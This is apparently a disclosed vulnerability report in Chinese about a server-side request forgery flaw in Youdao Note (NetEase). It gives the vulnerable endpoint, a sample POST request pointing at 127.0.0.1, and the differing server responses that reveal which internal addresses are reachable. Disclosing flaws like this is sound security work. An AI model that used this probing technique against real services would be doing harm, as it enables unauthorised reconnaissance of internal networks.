网易SSRF可探测内网

漏洞地址：http://note.youdao.com/memory/?url=http://www.wooyun.org（如需登录，请注册登录）

正文预览的地方会读取URL地址的

<meta name="description" content=""/>

content的内容作为显示



跟踪起网页的跳转到达
 

POST /yws/open/memory?method=content HTTP/1.1
Host: note.youdao.com
Proxy-Connection: keep-alive
Content-Length: 20
Accept: application/json, text/javascript, */*
Origin: http://note.youdao.com
X-Requested-With: XMLHttpRequest
Cookie: 

url=http://127.0.0.1

(参数做了精减，请自行抓包)





根据URL地址的可不可到达 结果类似如下

到达：
 

HTTP/1.1 200 OK
Server: Tengine
Date: Wed, 14 Jan 2015 15:38:44 GMT
Content-Type: text/json; charset=UTF-8
Content-Length: 41
Connection: close
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: zh-CN
Cache-Control: no-cache

{"content":"","title":null,"type":"NONE"}

（如又content内网，会显示内容，没有内容可地址存在就是这个情况，可测试www.wooyun.org--有content www.baidu.com－－没有content）



若不可到达：
 

HTTP/1.1 500 Internal Server Error
Server: Tengine
Date: Thu, 15 Jan 2015 00:57:34 GMT
Content-Type: text/json; charset=UTF-8
Content-Length: 157
Connection: close
RES-CODE: 213
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: zh-CN

{"message":"Message[DATA_TRANSMISSION_FAILURE]: Page Clipper Exception, URL=http://127.0.0.1","canTryAgain":false,"scope":"PREVIOUS_EXCEPTION","error":"213"}

修复方案：

过滤、限制